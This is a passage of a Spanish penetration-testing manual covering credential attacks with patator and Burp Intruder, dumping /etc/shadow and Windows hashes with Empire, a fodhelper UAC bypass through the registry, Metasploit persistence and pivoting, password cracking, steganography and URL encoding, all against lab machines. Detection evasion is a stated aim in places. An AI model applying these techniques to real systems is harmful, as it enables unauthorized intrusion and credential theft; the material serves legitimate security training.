recopilación de información y sólo nos queda conseguir la contraseña. El temario especifíca
4 tipos de ataques que podemos realizar:
372
Ataques contra crendenciales de usuario
Diccionarios
Si recordamos del tema de recopilación de información, en Kali Linux, por defecto, los
diccionarios se guardan en la siguiente ruta:
Uno de los más conocidos es [Link]. Primero tenemos que descomprimirlo usando el
comando gzip:
gzip -d [Link]
Aparte de los que vienen incluidos en Kali, podemos encontrar otros en internet como los
que proporciona SecList:
373
Ataques contra crendenciales de usuario
374
Ataques contra crendenciales de usuario
Este tipo de páginas pueden ser muy útiles cuando se realiza un ataque de diccionario.
Fuerza bruta
Diccionario
El ataque por fuerza bruta prueba todas las permutaciones posibles de los símbolos que le
indiquemos hasta que de con el usuario o contraseña. Es un método muy lento a no ser que
la contraseña sea muy corta. En un ataque de diccionario creamos una lista (diccionario) de
palabras que creemos que pueden ser la contraseña. Existen muchos servicios online
contra los que podemos lanzar un ataque. Algunos de ellos son:
SSH
FTP
375
Ataques contra crendenciales de usuario
Aplicaciones Web
Vamos a ver como realizar un ataque de diccionario con el programa patator. Este
programa ya le utilizamos para lanzar ataques de diccionario con el fin de enumerar los
usuarios a través de SMTP. Para saber el módulo de patator que debemos utilizar,
escribimos patator para listar los módulos y ver cuál es el módulo para ssh:
y una vez localizado el módulo, para saber como usarlo, escribimos patator seguido del
nombre del módulo. En ese caso patator ssh_login:
376
Ataques contra crendenciales de usuario
Creamos una lista (diccionario) de posibles contraseñas usando cualquier editor de texto.
En este caso usamos el editor vim:
377
Ataques contra crendenciales de usuario
Vemos que patator va comprobando todas las contraseñas y nos informa de la que
funciona. En este caso msfadmin. Como hicimos al enumerar a través del protocolo SMTP,
podemos ignorar las contraseñas no válidas usar la opción -x ignore:. En este caso
usariamos -x ignore:mesg='Authentication failed.'. El comando completo es:
y como vemos sólo nos mostraría la contraseña válida. Podemos comprobar que la
contraseña es válida conectandonos por ssh a la máquina usando el usuario msfadmin:
y la contraseña msfadmin:
378
Ataques contra crendenciales de usuario
379
Ataques contra crendenciales de usuario
Vamos a realizar un ataque de diccionario contra el servicio FTP en el puerto 21. En este
caso vamos a usar 2 diccionarios:
380
Ataques contra crendenciales de usuario
Una vez creados el diccionario, para saber el módulo de patator que debemos utilizar,
escribimos patator para listar los módulos y ver cuál es el módulo para ftp:
y una vez localizado el módulo, para saber como usarlo, escribimos patator seguido del
nombre del módulo. En ese caso patator ftp_login:
Vemos que el modo de uso es, prácticamente, igual al del módulo de ssh. Para poder lanzar
el ataque debemos indicarle:
381
Ataques contra crendenciales de usuario
El comando es:
Vemos como patator va comprobando cada una de las contraseñas para cada usuario y
vemos que, el usuario msfadmin y la contraseña msfadmin son credenciales válidas para
acceder al servidor FTP. Como en ejemplo anteriores, para filtrar los resultados de patator
podemos usar la opción -x ignore. Por ejemplo, le podemos decir que ignore los códigos
530 ya que son intentos de login fallidos:
Una vez obtenidas las credenciales podemos comprobar que tenemos acceso al servicio.
Para ello, por ejemplo, podemos usar el programa telnet:
382
Ataques contra crendenciales de usuario
y ya estamos dentro:
383
Ataques contra crendenciales de usuario
Accedemos a el servicio usando un navegador web como Firefox y hacemos click sobre
DVWA:
Username: admin
Password: password
384
Ataques contra crendenciales de usuario
385
Ataques contra crendenciales de usuario
386
Ataques contra crendenciales de usuario
Una vez en la página del formulario, vamos a seguir los mismos pasos que en el capítulo de
recopilación de información para activar Burp Suite, para ello, desplegamos el menú de
opciones en Firefox y seleccionamos Preferences:
387
Ataques contra crendenciales de usuario
388
Ataques contra crendenciales de usuario
389
Ataques contra crendenciales de usuario
Después hacemos click en la pestaña Intercept y nos aseguramos que el botón tiene el
texto:
Intercept is on
Volvemos a burp y veremos que la petición http que ha hecho el navegador ha sido
capturada. Pulsamos el botón Forward para continuar:
390
Ataques contra crendenciales de usuario
391
Ataques contra crendenciales de usuario
Vemos que las credenciales no existen -a no ser que hayamos tenido mucha suerte- y nos
aparece el mensaje de login failed. Vamos a usar burp intruder para lanzar un ataque de
diccionario contra el usuario y la contraseña. Para ello, seleccionamos la petición HTTP que
nos ha dado la respuesta del servidor en la pestaña HTTP history y hacemos click con el
botón derecho del ratón para desplegar el menú de opciones. Seleccionamos la opción
Send to Intruder:
392
Ataques contra crendenciales de usuario
Ahora seleccionaremos los valores de los parámetros sobre los que queremos hacer fuerza
bruta. Hacemos doble click sobre el valor del parámetro username y pulsamos el botón Add:
393
Ataques contra crendenciales de usuario
Dejamos las opciones que vienen por defecto en la sección Payload Sets:
Payload set: 1
394
Ataques contra crendenciales de usuario
Hacemos lo mismo por cada usuario que queramos añadir. Por ejemplo, añadimos otro
usuario que se llame admin:
395
Ataques contra crendenciales de usuario
Una vez especificados los usuarios que queremos probar, seleccionamos el número 2 en el
menú desplegable Payload type: para indicar las contraseñas que queremos probar para
cada usuario que hemos definido en el punto anterior:
En este caso, en vez ir añadiendo las contraseñas que queremos probar una a una,
utilizaremos un fichero (diccionario) con las contraseñas a probar. Para ello, seleccionamos
Runtime file del menú desplegable Payload type:
396
Ataques contra crendenciales de usuario
Ahora pulsaremos el botón Select File... para seleccionar el fichero (diccionario) donde
tenemos la lista de contraseñas:
397
Ataques contra crendenciales de usuario
y en la sección Grep - Extract activamos la opción Extract the following from responses: y
pulsamos el botón Add:
Seleccionamos el texto de error que muestra cuando las credenciales son incorrectas y
pulsamos el botón OK:
398
Ataques contra crendenciales de usuario
399
Ataques contra crendenciales de usuario
y vemos como va probando todas las contraseñas para cada uno de los usuarios y, en la
única donde no hay mensaje de error, es la que nos indica el usuario y contraseña correcto:
Almacenamiento de credenciales
En esta sección vamos a coger las credenciales para poder en la siguiente sección
crackearlas. A no ser qué tengamos mucha suerte y podamos obtener las contraseñas por
medios públicos o mediante ingeniería social, en la mayoría de las ocasiones, podremos
400
Ataques contra crendenciales de usuario
obtener las contraseñas de todos los usuarios de un sistema cuando hayamos accedido al
sistema y hayamos escalado privilegios. En esta sección se supone que ya hemos accedido
al sistema y tenemos el máximo privilegio. Vamos a ver cómo obtener las contraseñas en
sistemas GNU/Linux y en sistemas Windows.
Una vez dentro, copiamos el contenido a un fichero para poder descargarnoslo desde Kali
Linux. Para ello ejecutamos el comando sudo para lanzar el comando cat con privilegios de
superusuario y poder leer el fichero /etc/shadow. El contenido del fichero lo guardamos en
un fichero de texto:
401
Ataques contra crendenciales de usuario
Una vez creado el fichero, salimos de la sesión ssh usando el comando exit:
Ahora podremos descargar el fichero usando, por ejemplo, el programa scp. Para ello
debemos indicarle como primer argumento la ruta donde está el fichero que queremos
descargar. En este caso queremos el fichero contraseñas_metasploitable2 que está en la
carpeta home del usuario msfadmin. Como segundo argumento debemos indicar dónde
queremos copiarlo. En este caso la carpeta actual. Por lo que ejecutaríamos el comando de
la siguiente forma:
scp msfadmin@[Link]:~/contraseñas_metasploitable2 .
402
Ataques contra crendenciales de usuario
Para descargar los hashes de la máquina virtual de ubuntu server, creamos un fichero con
el contenido del fichero /etc/shadow:
403
Ataques contra crendenciales de usuario
El primer paso es instalarlo en Kali Linux. Para ello accedemos al repositorio del framework
Empire en github. Pulsamos sobre el botón verde con letras blancas Clone or download y
copiamos la url:
404
Ataques contra crendenciales de usuario
Clonamos el repositorio:
405
Ataques contra crendenciales de usuario
Ejecutamos empire:
406
Ataques contra crendenciales de usuario
Para ver la lista de comandos que podemos ejecutar, podemos usar el comando help:
407
Ataques contra crendenciales de usuario
408
Ataques contra crendenciales de usuario
uselistener http
Vemos que el promtp cambia de nuevo. Para ver las opciones que podemos configurar del
servicio que pondremos a la escucha, podemos ejecutar el comando info para que nos
muestre la información:
Para cambiar las opciones, usaremos el comando set. Por ejemplo, cambiamos de nombre
al listener usando:
409
Ataques contra crendenciales de usuario
Una vez que hemos configurado las opciones que queramos, lo ejecutamos con el comando
execute. En este caso, salvo el nombre del servicio, hemos dejado todo por defecto:
Una vez que tenemos el listener (servicio) a la escucha, tenemos que crear un launcher. Un
launcher es un script que vamos a crear para ejecutarlo en la máquina que queremos que
se conecte al servicio (listener) que tenemos a la escucha. Los launchers podemos crearlos
en python o en powershell. En este caso, como vamos a usarlo en una máquina windows,
410
Ataques contra crendenciales de usuario
usamos powershell. Para crear el launcher debemos usar el comando launcher seguido del
lenguaje de scripting (python o powershell) y el nombre del servicio al que queremos que se
conecte. En este caso:
411
Ataques contra crendenciales de usuario
Aceptamos la advertencia:
412
Ataques contra crendenciales de usuario
para volver a la pantalla principal donde podremos ver que tenemos un agent activo:
413
Ataques contra crendenciales de usuario
Si recordáis de la introducción un agent es una máquina que esta bajo control. El script de
powershell ejecutado en la máquina windows 10, está en memoria, lo que lo hace mucho
más difícil de detectar que si hubiese creado algún fichero. Ahora que hemos tomado el
control de la máquina (agent), vamos a ver cómo interactuar con ella y ejecutar comandos
El número de proceso (5724) de powershell es todo lo que el usuario verá si lista las tareas
en el equipo. Podemos cambiar el nombre que asigna automáticamente al agente por otro
que nos sea más fácil recordar usando el comando rename:
Para ver todos los comandos que podemos ejecutar en el agente, usamos el comando help:
414
Ataques contra crendenciales de usuario
Para extraer los hashes de las contraseñas vamos a usar el modulo de powershell
credentials/powerdump. Si recordáis de la introducción, los modules son todos los
comandos y scripts -en este caso vamos a usar uno de powershell- que podemos utilizar en
el agente (máquina comprometida). Para usar un módulo, tecleamos el comando
usemodule seguido del nombre del módulo que queramos usar. En este caso:
usemodule credentials/powerdump
Podemos ver la información del módulo usando el comando info. Entre las opciones hay
una a la que debemos prestar atención que es OpsecSafe. Si el valor de esta opción es
True, significa que el usuario no tendrá constancia que hemos ejecutado el comando:
415
Ataques contra crendenciales de usuario
Para ejecutar el módulo, teclamos execute y pulsamos intro. Vemos que nos muestra los
hashes de todos los usuarios:
416
Ataques contra crendenciales de usuario
obtendremos los hashes. ·Ejecutamos el comando back para salir del módulo en el que
estamos:
Una vez borrado, veremos que si listamos los agentes con el comando list ha desaparecido:
417
Ataques contra crendenciales de usuario
Una vez liberados todos agents (máquinas comprometidas) conectados al servicio (listener)
http que creamos, podemos también eliminar el listener (servicio). Para ello ejcutamos el
comando back para ir al menú principal:
Para eliminarlo, usaremos el comando kill seguido del nombre del listener (servicio):
hash-identifier
418
Ataques contra crendenciales de usuario
hashid
Yo recomiendo usar hashid porque, en mi experiencia, los resultados han sido más fiables.
hash-identifier
después tecleamos hash-identifier y pulsamos intro. Pegamos el hash y pulsamos intro para
que nos indique el tipo de hash:
en este caso, al ser una distribución antigua de GNU/Linux, vemos que se está usando MD5
que muy inseguro. Si probamos con la máquina de ubuntu server, veremos que nos indica
que se esta usando SHA256 cuando no es cierto porque usa SHA512 pero, aunque menos
seguro, es aproximado:
419
Ataques contra crendenciales de usuario
hashid
Es otro programa que podemos utilizar para saber qué tipo de hash se está usando. El
modo de uso es practicamente igual. Listamos los hashes, tecleamos hashid y pulsamos
intro:
A continuación hacemos lo mismo para el usuario user de la máquina ubuntu server para
ver que es SHA512:
420
Ataques contra crendenciales de usuario
La forma más sencilla de usarlo es teclear john y pasarle como argumento el archivo de
contraseñas:
Para ver las contraseñas una vez crackeadas, podemos pasarle a john la opción --show:
Para ver los formatos que john puede crackear podemos usar la opción --list con el valor
formats:
421
Ataques contra crendenciales de usuario
Si sabemos el formato del hash, el crackeo será más eficiente. Podemos indicarle a john en
qué formato están los hashes usando la opción --format:
No tenemos que esperar a qué john termine de crackear todas las contraseñas para ver los
resultados. Podemos ver los que ya ha crackeado, leyendo el archivo [Link] que se
encuentra en la ruta ~/.john/[Link]:
422
Tras ganar acceso
NOTA
Antes de comenzar, por favor, aplicar la configuración de pivoting que se describe en el
capítulo de las máquinas virtuales
Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.
1. Escalación de privilegios
Usando el fichero [Link] para escalar privilegios paso a paso
Usando el fichero [Link] para escalar privilegios desde el módulo
bypassuac_fodhelper de empire
2. Ejecutar programas
Ejecutando comandos tras ganar acceso desde empire
Transferiendo la sesión de empire a metasploit
Ejecutando comandos desde metasploit
Ganando persistencia con el script persistence de metasploit
Pivoting con metasploit
Pivoting con proxychains levantando un servidor proxy con metasploit
3. Esteganografía
Esteganografía con steghide
Esteganografía usando servicios online
Referencias usadas
1. Páginas web
Empire
423
Tras ganar acceso
Manisfest files
Fileless UAC bypass [Link]
Escalación de privilegios
Aparte de los métodos incluidos en el temario y las prácticas, vamos a ver cómo escalar
privilegios usando ficheros ejecutables que elevan privilegios sin consultar al usuario:
Vamos a entender de manera informal cómo funciona este fichero y después que
entendamos cómo funciona, lo vamos a usar para escalar privilegios. Para estudiar el
comportamiento de los procesos (programas en ejecución), muchas veces necesitamos
usar programas que necesitan privilegios de administrador luego, normalmente, se estudia
el comportamiento del programa en un ordenador aparte y luego se aplican los
conocimientos en equipo objetivo. Comenzamos descargando el programa sigcheck desde
windows sysinternals. Desde la web hacemos click en Download Sigcheck:
424
Tras ganar acceso
sigcheck %windir%\system32\[Link]
La primera vez que ejecutemos el programa, nos solicitará que aceptemos los términos y
condiciones. Si estamos de acuerdo, pulsamos OK para poder ejecutar el programa y
analizar el fichero:
425
Tras ganar acceso
Tras ejecutarlo sin haberle pasado opciones, nos muestra información básica sobre el
fichero:
Entre otros vemos que se trata de un archivo firmado digitalmente por Microsoft y la fecha
de la firma. Vamos a ver el archivo manisfest que acompaña a este binario. Grosso modo,
los archivos manisfest son ficheros en formato xml que nos pueden aportar información muy
útil sobre el ejecutable como, por ejemplom si puede autoelevar privilegios. Para ver el
archivo manifest asociado a este binario, usamos la opción -m del programa sigcheck:
sigcheck -m %windir%\system32\[Link]
426
Tras ganar acceso
Ya que sabemos que el fichero [Link] eleva privilegios en el sistema operativo sin
consultar al usuario, vamos a observar qué acciones realiza el programa [Link]
cuando se ejecuta. Para ello, vamos a utilizar otro programa de windows sysinternals
llamado Process Monitor (procmon). Lo descargamos de la web oficial:
427
Tras ganar acceso
Process Monitor nos permite visualizar acciones que realiza un proceso (programa en
ejecución) como ver a qué archivos accede o ver qué claves del registro de windows
modifica. Una vez descomprimido, hacemos doble click para ejecutarlo:
428
Tras ganar acceso
429
Tras ganar acceso
430
Tras ganar acceso
Al abrirse, podremos ver una lista de los procesos y cada una de las acciones (Operations)
que realizan, como por ejemplo, acceder o modificar claves del registro de windows, leer
ficheros o crear threads:
431
Tras ganar acceso
para que Process Monitor pueda monitorizar la actividad del proceso. Como el programa
[Link] nos ayuda a gestionar características opcionales del sistema operativo,
cuando hagamos doble click sobre el archivo nos aparecerá la siguiente pantalla que,
simplemente, podemos ignorar:
432
Tras ganar acceso
Debido a que hay demasiada información, vamos a filtrar por acciones que este realizando
el proceso fodhelper. Para ello, seleccionamos la opción Filter... del menú desplegable
Filter:
433
Tras ganar acceso
434
Tras ganar acceso
435
Tras ganar acceso
436
Tras ganar acceso
Una vez aplicado el filtro, nos mostrará únicamente las acciones (Operations) realizadas por
el proceso [Link]:
437
Tras ganar acceso
Aún así vemos que son muchísimas las acciones que realiza el proceso. Estudiar todo un
proceso, se sale del objetivo de este manual pero, la idea es ir viendo las acciones que
hace el proceso y ver si podemos sacar partido de alguna de ellas. En este caso, como ya
está documentado, vamos ver cómo podemos aprovecharnos de ciertas acciones que
realiza el proceso [Link]. Para ello, vamos a fijarnos en la operaciones que realiza
en el registro de windows. Sobre todo aquellas que realiza sobre la claves en HKCU
(HKEY_CURRENT_USER) ya que podemos modificar estas claves (valores) del registro sin
tener permisos de administrador. En este caso, el investigador se fijo en los accesos a
claves del registro de windows que no existen. Específicamente encontró esta clave:
HKCU\Software\Classes\ms-settings\shell\Open\Command
438
Tras ganar acceso
439
Tras ganar acceso
Si creamos esta clave en el registro. Por ejemplo, podemos crearla desde la línea de
comandos:
440
Tras ganar acceso
HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute
441
Tras ganar acceso
y volvemos a ejecutar Process Monitor y después [Link]. Ahora vemos que, tras
encontrar el valor DelegateExecute intenta leer el valor por defecto (default) en la clave:
HKCU\Software\Classes\ms-settings\shell\open\command
Luego, si modificamos este valor por defecto (default), nos ejecutará cualquier comando
que le indiquemos. Por ejemplo, vamos a indicar que ejecute powershell. Para ello,
nuevamente desde la línea de comandos, ejecutamos el comando reg pasandole la opción
/d para indicarle los datos del valor (Al ser el valor por defecto no necesitamos usar la
opción /v):
442
Tras ganar acceso
443
Tras ganar acceso
Como podeis observar, para escalar privilegios, sólo sería necesario ejecutar los comandos
reg para añadir la clave del registro, añadir el valor DelegateExecute en la clave y cambiar
los datos por defecto en el valor Default. Estos cambios los podemos realizar como usuarios
porque la clave que modificamos es HKCU. Una vez comprendido el proceso de forma
manual, vamos a ver como hacerlo de forma automática con el framework empire.
Accedemos a las opciones para crear un listener (servicio a la escucha) con el comando
listeners:
444
Tras ganar acceso
uselistener http
Volvemos al menú listeners usando el comando listeners ya que así podremos ver que el
listener que hemos creado funciona correctamente:
445
Tras ganar acceso
446
Tras ganar acceso
Pegamos el script:
447
Tras ganar acceso
y lo ejecutamos presionado intro. Tras ejecutarlo, veremos que la máquina con windows 10
ha sido comprometida porque se nos ha creado un agent (máquina comprometida) en
Empire:
Presionamos intro para que vuelva a aparecer el prompt y tecleamos agents para ver la
máquina que hemos comprometido y acceder al menú de los agents
Cambiamos el nombre al agent utilizando el comando rename por uno que nos resulte más
fácil de recordar:
448
Tras ganar acceso
Para escalar privilegios podemos usar alguno de los modules de privesc/bypassuac. Pero
antes de poder ejecutarlos, debemos crear un nuevo listener (servicio) a la escucha para
recibir la conexión de la sesión con privilegios. Para ello, vamos al menú listeners:
le damos un nombre:
lo ejecutamos:
449
Tras ganar acceso
Para escalar privilegios, vamos a aprovecharnos del fichero [Link] usando el modulo
privesc/bypassuac_fodhelper. Para ello usamos el comando:
usemodule privesc/bypassuac_fodhelper
ejecutamos el comando options para ver las opciones que son necesarias:
450
Tras ganar acceso
En este caso, sólo necesitamos indicar el listener (servicio) a donde queremos que se
conecte la sesión con privilegios. Para indicarle el listener ejecutamos:
Aunque no sea opsec safe, aceptamos ejecutarlo y se creará una sesión con privilegios:
451
Tras ganar acceso
ahora que tenemos privilegios de administrador, podemos seguir escalando para tener el
máximo nivel de privilegios. Los de la cuenta AUTHORITY/SYSTEM. Para ello usamos el
modulo privesc/getsystem:
usemodule privesc/getsystem
Si ejecutamos options:
452
Tras ganar acceso
veremos que no nos hace falta completar ninguna opción para ejecutarlo. Por lo que
simplemente, lo ejecutamos:
Una vez que tengamos el máximo nivel de privilegios en el agent (máquina comprometida).
Podemos usar el comando back para volver a interactuar con el agent (sesión en la
máquina comprometida):
453
Tras ganar acceso
Ejecutar programas
Veremos que nos guarda en el directorio downloads del framework empire. Para visualizarla
accedemos al directorio donde tengamos descargado empire:
y desde allí, ejecutamos el comando display pasandole como argumento la ruta donde está
la imagen:
para visualizarla:
454
Tras ganar acceso
También podemos obtener información del sistema operativo con el comando sysinfo:
455
Tras ganar acceso
para iniciarlo:
456
Tras ganar acceso
use exploit/multi/script/web_delivery
Debemos configurar:
457
Tras ganar acceso
LPORT Para indicar el puerto al que debe conectarse el payload una vez se ejecute en
windows 10
target Para indicarle en que lenguaje de scripting queremos el payload. En este caso al
ser windows 10, usaremos powershell
Indicamos host al que debe conectarse el payload una vez se ejecute en windows 10:
y el puerto:
458
Tras ganar acceso
Seleccionamos la URL y después hacemos click con el botón derecho del ratón sobre ella
desplegar el menú. Seleccionamos Copy para copiarla:
Esta es la URL desde donde se servirá el payload. Volvemos a interactuar con el agent y
usaremos el module code_execution/invoke_metasploitpayload:
Ejecutamos el comando options para ver qué datos necesitamos aportar al módulo:
Vemos que sólo es necesario aportar la URL que ha generado metasploit. Le indicamos la
URL:
459
Tras ganar acceso
Vemos que el Id de la sesión es 1. Usaremos esta sesión para interactuar con la máquina.
Para ello, volvemos a usar el comando sessions pasandole como argumento el Id de la
sesión:
Al igual que ocurría con empire, podemos usar el comando sysinfo para obtener información
del sistema:
460
Tras ganar acceso
461
Tras ganar acceso
run persistence -h
-r {host} para indicarle el host al que queremos que se conecte (nuestra máquina de
Kali Linux)
-p {puerto} para indicarle a qué puerto queremos que inicie la conexión
-U para indicarle que queremos que se conecte cuando el usuario inicie sesión
462
Tras ganar acceso
Vamos a acceder a esta red para descubrir nuevos equipos que esten accesibles desde
esta red. Para ello, ejecutamos el script autoroute de metasploit con la opción -s pasandole
como argumento la red a la que queremos pivotar:
run autoroute -p
Es decir, ahora tenemos acceso a esta red usando la sesión 1 en metasploit. Vamos a ver
un ejemplo. Ponemos la sesión en segundo plano usando el comando background:
Recordar que podemos ver las sesiones en segundo plano usando el comando sessions y
pasandole la opción -l:
463
Tras ganar acceso
sessions -l
Por ejemplo, vamos a usar un scanner de metasploit para descubrir los servicios ftp y web
que están activos en la nueva red. Para ello, podemos usar el scanner:
use auxiliary/scanner/portscan/tcp
Utilizamos el comando show options para ver qué opciones tenemos que pasarle al
scanner:
El escáner es lento pero, a medida que vaya encontrando equipos en esa red con servicios
en los puertos 21 y 80, nos los irá mostrando:
464
Tras ganar acceso
Una vez finalizado el escaneo, nos informará de todas servicios ftp y http que ha encontrado
en la nueva red:
use auxiliary/server/socks4a
Como siempre, utilizamos show options para ver las opciones que tenemos que completar.
En este caso las dejamos por defecto:
y lo ejecutamos:
465
Tras ganar acceso
Una vez añadido el proxy, ya podemos usar cualquier programa, como nmap, a través de
proxychains para llegar a los equipos y servicios de la nueva red:
Esteganografía
466
Tras ganar acceso
Una vez instalado, descargamos buscamos una imagen donde esconder el texto. En este
caso yo descargo una imagen pública y la llamo [Link]:
467
Tras ganar acceso
Para ocultar el texto en la imagen, ejecutamos el comando steghide con las siguientes
opciones:
embed => para indicar que queremos incluir un fichero dentro de otro
-ef {archivoDeTextoAOcultar} => para indicar el archivo de texto que queremos
ocultar
-cv {arhivoDondeSeOcultará} => para indicar el fichero donde ocultaremos el texto
Tras ejecutar el comando, nos solicitará que metamos una contraseña y, tras introducirla,
que la confirmemos:
Si visualizamos la imagen:
468
Tras ganar acceso
Para extraer el mensaje oculto de la imagen, ejecutamos el comando steghide con las
siguientes opciones:
469
Tras ganar acceso
470
Tras ganar acceso
Después tecleamos el texto que queramos ocultar y metemos el código de acceso que nos
indica en el recuadro negro de letras blancas:
471
Tras ganar acceso
472
Tras ganar acceso
473
Web
Web
Auditorias a entornos web
Metodología
Se recomienda seguir usando cherrytree para ir guardando las evidencias.
1. Introducción
Breve introducción informal al modelo cliente-servidor
URI y URL
Breve introducción informal sobre las URL
Carácteres reservados y url encoding (percent encoding)
Burp decoder
Breve introducción informal unicode y su codificación en las URLs
Breve introducción informal a Internationalized Resource Identifiers (IRI)
Breve introducción informal a Internationalized Domain Names (IDN) y el sistema
punycode
474
Web
Referencias usadas
1. Páginas web
OWASP Testing Guide
Homograph attack - Krebonsecurity
MDN - Generalidades del protocolo HTTP
RFC 3987 - Internationalized Resource Identifiers (IRIs)
RFC 3986 - Uniform Resource Identifier (URI): Generic Syntax
RFC 3492 - Punycode: A Bootstring encoding of Unicode for Internationalized
Domain Names in Applications (IDNA)
2. Libros
Tangled Web - A Guide to Securing Modern Web Applications
3. Máquinas virtuales
Pentesterlab - Shellsock
Pentesterlab - CVE-2017-5638 RCE Structs
475
Web
En internet, funcionan las cosas del mismo modo, sólo que los servicios que solicitamos son
muchas veces diferentes a los que usamos en la vida real. Por ejemplo, en internet, la
persona solicita enviar un correo electrónico o ver una página web. Este tema se va a
centrar en servicios web. En los servicios web se usa el protocolo HTTP para pedir recursos
a los servidores.
URI y URL
Aunque muchas veces los términos URI y URL se utilizan en el mismo contexto,, en el RFC
3896 se aclaran las diferencias entre ambos términos:
/[Link]
identifica unívocamente el recurso (página web) al que quiero acceder. En este caso quiero
acceder a la página [Link] que se encuentra en el directorio principal del
servidor donde estoy. Otro ejemplo de URI es:
[Link]
476
Web
Este ejemplo, aparte de ser URI, es también una URL, porque aparte de indicar el recurso
al que quiero acceder, me indica donde localizarlo. En este caso el recurso que busco esta
en el dominio, [Link], y debo acceder a él usando el protocolo http. Es decir, las URL
son un subconjunto de las URI que me indican como localizar el recurso. Con la información
que nos aportan las URL podemos saber si [Link] es el que estoy buscando
ya que, por ejemplo, podríamos un recurso con el mismo nombre en un host:
[Link]
[Link]
Si sólo nos indican la URI /[Link] tenemos que saber el host en donde
estamos. Si la URI es una URL, sabremos donde localizar el recurso. Toda URL es una URI
pero no toda URI es una URL.
Como podemos ver una relative URL omite cierta información como el protocolo de acceso
(http) o la ruta completa al recurso que queremos acceder. Vamos a ver primero la
estructura de una URL completa (fully qualified absolute URL):
Las partes que se marcan en color verde son opcionales. Lo que significa que pueden estar
presentes o no. Los componentes son:
477
Web
Es una palabra seguida de dos puntos que nos indica el protocolo que usaremos para
acceder a la página web o archivo que queramos. Esta palabra (scheme) no distingue entre
mayúsculas o minúsculas, luego nos da igual escribir hTTp: o http:. Algunos schemes son
muy conocidos (http:, ftp:, https:) y otros no tanto (data:, javascript:)
Indicador de jerarquía. La doble barra (//), también conocida como indicador de jeraquía, se
incluye después de los 2 puntos. Hay URLs que no son completas que no lo llevan. Por
ejemplo las que utilizamos para enlazar un correo electrónico:
[Link]
Esta es parte es opcional y muy poco recomendable de usar. Sirve para indicar las
credenciales que se usan para autenticarse ante servicios que usan autenticación básica.
Ya veremos un cuando hablemos del protocolo HTTP. Esta sección de la URL tiene 4
partes:
usuario
:
contraseña
@
El RFC 3896 indica el formato que debe usarse para cada tipo de host. Por ejemplo, las
reglas para una dirección IPv4 es que se tiene que representar como una secuencia de 4
números decimales, en un rango de 0 a 255, separados por un punto:
478
Web
[Link]
[Link]
[Link]
Hagamos la prueba. Iniciemos el servidor web apache en nuestra máquina Kali Linux:
Ahora si pulsamos Intro nos llevará a la dirección local donde podremos ver la pagina por
defecto del servidor apache:
479
Web
Lo mismo ocurre con los nombres de dominio que deberían seguir la especificación del RFC
1034:
Pero podemos usar el puerto que queramos. Veamos un ejemplo. Python tiene un módulo
que se sirve para levantar un servidor web en la carpeta que estemos usando actualmente.
Para levantarlo usamos el comando:
python -m SimpleHTTPServer
Como vemos se levanta un servicio web en el puerto 8000. Podemos acceder nuevamente
al servicio web usando firefox:
480
Web
[Link]
El siguiente componente opcional de la URL se llama query string. Esta sección se usa para
pasar parámetros (variables) y valores que luego sean interpretados por el servidor. El
query string comienza con el símbolo ?. Al símbolo ? le siguen el nombre de cada
parámetro (variable) seguida de un símbolo igual y su valor. Por ejemplo ?edad=30:
[Link]
[Link]
481
Web
[Link]
Las URL están descritas en el RFC 1738. Para ampliar conocimientos se recomienda
consultar el RFC 3896 que describe el sintaxis de las URI y el siguiente hilo en stack
overflow.
:/?#[]@+
Alguna de estás funcionalidades ya las hemos visto y otras no. Por repasar algunas:
Los navegadores de internet tienen que interpretar la URL que el usuario teclea en el
navegador y, en ocasiones, el usuario necesita hacer uso de estos carácteres reservados
para realizar busquedas en internet. Por ejemplo, el usuario puede pasar un email valor de
un parámetro (variable) del query string. El email contiene un carácter reservado (@):
[Link]
482
Web
Normalmente, la solución que aplica el navegador en estos casos es codificar los símbolos
del usuario usando el método URL encoding o también llamado Percent encoding. URL
encoding consiste en sustituir el carácter que queramos, por un símbolo de porcentaje (%)
seguido de 2 dígitos hexadecimales que representen el valor ASCII del carácter que
queramos sustituir. Por ejemplo, si quisiéramos sustituir una barra / podríamos codificarlo
como %2f. Aunque sólo los carácteres deben ser sustituidos, nosotros podemos sustituir los
carácteres que queramos. Por ejemplo, la letra e tiene el código ASCII hexadecimal 65. Por
lo que podemos codificar la letra e como %65. Una vez codificada, podemos sustituir la letra
e por %65 en la URL. Veamos un ejemplo. Si intentamos acceder a:
[Link]
[Link]
Para tener una lista completa de los carácteres podemos consultar una tabla ASCII.
483
Web
O usar una página web para codificar los carácteres ascii a hexadecimal como rapidtables:
484
Web
Burp decoder
Burp suite también puede ayudarnos a codificar y descodificar las URLS. Cuando hablamos
de codificar nos estamos refieriendo a pasar un número de decimal a hexadecimal o un
código ascii (que no deja de ser un número) a la letra que representa ese número. Ya
hemos visto otras funcionalidades de burp anteriormente, vamos a centrarnos ahora en
burp decoder. Para ello, ejecutamos burp pulsando el icono:
485
Web
486
Web
También podemos codificar una URL con varios propósitos como ocultarla o saltarnos algún
mecanismo de seguridad como veremos más adelante. Cuando codifiquemos una URL
debemos excluir la parte del scheme ya que algunos navegadores no lo interpretan bien.
Para pasar un nombre de dominio a formato URL encoding (Percent Encoding), tecleamos
el nombre de dominio:
487
Web
488
Web
También podemos usar burp decoder para decodificar una URL que, por ejemplo, nos
llegue en un correo de phising. En este caso copiamos la URL en burp decoder:
[Link]
%52%65%6c%61%79%53%74%61%74%65%3d%68%74%74%70%3a%2f%2f%45%76%6
9%6c%57%65%62%73%69%74%65%2e%63%6f%6d
489
Web
En este caso vemos que se estaría intentando redireccionar al usuari una página web
distinta a la que el piensa que esta accediendo. Aparte URL Encoding (Percent encoding) o
calcular el código hexadecimal de un carácter de la tabla ASCII, burp decoder puede
codificar/descodificar a otros sistemas de numeración como base64. Por ejemplo, en
autenticación básica que veremos más adelante y que no debe usarse, el usuario y la
contraseña se pasan en base64. El proceso siempre es el mismo. Tecleamos lo que
queramos codificar en burp decoder:
IEUSer@Passw0rd!
y vemos el resultado:
490
Web
También incluso nos permite calcular hashes. Por ejemplo, para calcular el valor hash md5
de la palabra password. Tecleamos la palabra password:
5f4dcc3b5aa765d61d8327deb882cf99
491
Web
[Link]
en donde se nos indica que códigos debemos usar para representar estos caracteres.
Accedemos a la página:
492
Web
493
Web
Ponemos un porcentaje (%) delante de los números hexadecimals y por ejemplo los
usamos para realizar una busqueda en google:
[Link]
494
Web
Los carácteres unicode también presentaron un desafío para los nombres de dominio
porque el sistema DNS sólo estaba preparado para carácteres ASCII. Luego no podía
